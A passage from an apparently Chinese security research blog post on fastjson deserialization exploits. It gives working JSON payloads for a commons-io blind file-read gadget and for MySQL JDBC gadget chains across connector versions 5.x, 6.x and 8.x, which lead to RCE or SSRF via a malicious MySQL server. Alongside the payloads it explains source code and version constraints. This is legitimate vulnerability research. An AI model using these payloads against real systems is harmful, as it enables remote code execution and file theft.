14
15
16
17
18
19
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [%s]
}]
}
}
  • 需要有回显信息(尽量不要500,500的话就没有不同回显了)
  • 穿插在String类型的变量中让服务器200的效果最好
  • 利用的是BOMInputStream#getBOM匹配ByteOrderMark并返回(否则null),从而造成回显差异

Mysql反序列化

在Mysql jdbc反序列化的基础上进行利用的。主要是利用queryInterceptors型的jdbc串,如

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

利用的触发点是创建了一个ConnectionImpl连接了恶意的服务器。在fastjson层面,由于所有连接类的父接口都是JdbcConnection,而该接口又继承了AutoCloseable接口,所以是有利用价值的,在mysql jdbc反序列化的基础上,只需找到可初始化ConnectionImpl并设置相关属性(触发条件)的链子,且这些链的Source都是AutoCloseable的子类(优先考虑JdbcConnection)。因此就有了如下的几条链子。

在了解这几条链子之前,可以先概览一下mysql jdbc的几种连接类型,接口是JdbcConnection

image-20211117160229655

5.x

版本:

  • 5.1.11 - 5.1.48(RCE,和原生的mysql jdbc反序列化的影响范围联系起来就好)
  • 5.1.x(SSRF)
1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "0.0.0.0",
"portToConnectTo": 3306,
"info": {
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
},
"databaseToConnectTo": "diggid",
"url": "diggid"
}

这个链子比较简单,直接看一下com.mysql.jdbc.JDBC4Connection的构造方法

image-20211117153755437

调用super()直接就是ConnectionImpl的构造方法了,然后传入相关的参数即可。这里的info用来设置除了host和port之外的其他属性。到了5.1.49的mysql-connector-java修复了由jdbc反序列化的sink点getObject,换成了getString

image-20211117154527359

6.x

版本:6.0.2/6.0.3(RCE)

1
2
3
4
5
6
7
8
9
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://0.0.0.0:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=diggid"
}
}
}

这个更简单,直接看一下com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection构造方法,传入了一个proxy,类型是

image-20211117154807610

看一下这个LoadBalancedConnectionProxy的构造方法

image-20211117155022738

传入一个ConnectionString,其实就是jdbc串的封装,即解析jdbc串的信息封装在里面

image-20211117155120214

所以上面的对象都是能够创建的,继续看到LoadBalancedConnectionProxy的构造方法,前面会对属性进行处理,比如取出host和port,进行一些属性初始化和合法性判断,只要我们传入的jdbc串保证正确,前面就不会有问题,这个类的作用也有点类似于mysql jdbc连接的代理,封装了一些初始化过程,最后调用pickNewConnection来建立一个新的连接,即ConnectionImpl,放一下调用栈

1
2
3
4
5
createConnectionForHost:329, MultiHostConnectionProxy (com.mysql.cj.jdbc.ha)
createConnectionForHost:388, LoadBalancedConnectionProxy (com.mysql.cj.jdbc.ha)
pickConnection:69, RandomBalanceStrategy (com.mysql.cj.jdbc.ha)
pickNewConnection:332, LoadBalancedConnectionProxy (com.mysql.cj.jdbc.ha)
<init>:241, LoadBalancedConnectionProxy (com.mysql.cj.jdbc.ha)

MultiHostConnectionProxy#createConnectionForHost方法中调用ConnectionImpl.getInstance完成初始化

image-20211117155919000

6.4版本LoadBalancedConnectionProxy构造方法的参数变为LoadbalanceConnectionUrl,该类最终会被选中的构造方法如下:

image-20211117160913629

遗憾的是,HostInfo有一个无参构造方法,fastjson会优先调用无参构造方法来给成员变量赋值。而这个无参构造方法把必须的参数都设置为null了,我们没办法控制(8.x解决了这个问题)

image-20211117171126433

8.x

版本:

  • 8.0.19(RCE)
  • >=8.0.19(SSRF)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":[{}],
"slaves":[],
"properties":{
"host": "0.0.0.0",
"port": 3306,
"user":"diggid",
"dbname":"test",
"password":"",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
}
}
}
}

在6.0.4版本,由于LoadBalancedConnectionProxy的构造方法参数的变化,导致无法初始化,而外层封装的类是没有问题的。

在8.x版本,LoadBalancedConnectionProxy的构造方法参数又变成了ConnectionUrl接口,看一下这个接口的实现类,在其中我们只需要选取合适的子类封装我们的jdbc连接串即可。

原作者选取的是ReplicationConnectionUrl,这个类用于建立主从服务端连接,看一下构造方法

image-20211117163958363

又出现了List<HostInfo>这个类型的参数,上面说过了HostInfo不可控,这里我们只需要保证masters有一个HostInfo即可,值不用管(masters的长度不能为0,否则会报错,slaves的长度可以为0)。关键在下面的语句

1
masters.stream().map(this::fixHostInfo).peek(this.masterHosts::add).forEach(this.hosts::add); // Fix the hosts info based on the new properties before adding them.

从注释也可以看出来,在fixHostInfo方法中,可以通过properties属性来设置所有的属性值,包括host和port,所以这也就解决了HostInfo没值的问题。

image-20211117171652602

至于外层的封装,MultiHostMySQLConnection及其子类都是可以的

1
2
3
MultiHostMySQLConnection
ReplicationMySQLConnection
LoadBalancedMySQLConnection

至于其他版本为什么不行

  • 对于8.0.18版本,LoadBalancedConnectionProxy的参数又变成了LoadbalanceConnectionUrl,写的更死了,对于上面说的ConnectionUrl接口的候选子类来说,只有ReplicationConnectionUrl是合适的,其他都不行,选取标准是:能不能解决6.0.4的问题,即给HostInfo赋值
  • 对于>8.0.19的版本,mysql jdbc反序列化就修了,修复和前面说的一样,把ResultSetImpl的getObject换成了getString
CATALOG
  1. 1. 绕过checkAutoType常用链子
    1. 1.1. <=1.2.24
    2. 1.2. <=1.2.41
    3. 1.3. <=1.2.42
    4. 1.4. <=1.2.43
    5. 1.5. <=1.2.45
    6. 1.6. <=1.2.47
    7. 1.7. <=1.2.62
    8. 1.8. <=1.2.66
    9. 1.9. 1.2.68 - AutoCloseable
  2. 2. Trigger总结
    1. 2.1. 可以调用所有getter/setter的情况
    2. 2.2. 只能调用所有setter/特定getter的情况
  3. 3. 突破无法调用getter的限制
    1. 3.1. 寻找序列化过程
      1. 3.1.1. key的JSONObject.toString(版本限制)
      2. 3.1.2. MiscCodec中的JSONObject.getString
      3. 3.1.3. StringCodec中的toString
    2. 3.2. $ref
  4. 4. 构造方法初始化的问题
    1. 4.1. 本地变量表
    2. 4.2. 选取参数最多最靠前的构造方法
  5. 5. 其他trick
    1. 5.1. @type为Map
    2. 5.2. fuzz思路
      1. 5.2.1. 畸形json报错泄露版本
      2. 5.2.2. @type探测类
  6. 6. 综合的payload
    1. 6.1. 嵌套 + java.util.Currency
    2. 6.2. $ref + java.util.Currency
  7. 7. Gadgets汇总
    1. 7.1. MarshalOutputStream - 原生jdk
    2. 7.2. commons-io2
      1. 7.2.1. 任意文件写 - 只有第三方依赖的
      2. 7.2.2. 任意文件写 - 有jdk依赖
      3. 7.2.3. 逐字节盲注读文件
    3. 7.3. Mysql反序列化
      1. 7.3.1. 5.x
      2. 7.3.2. 6.x
      3. 7.3.3. 8.x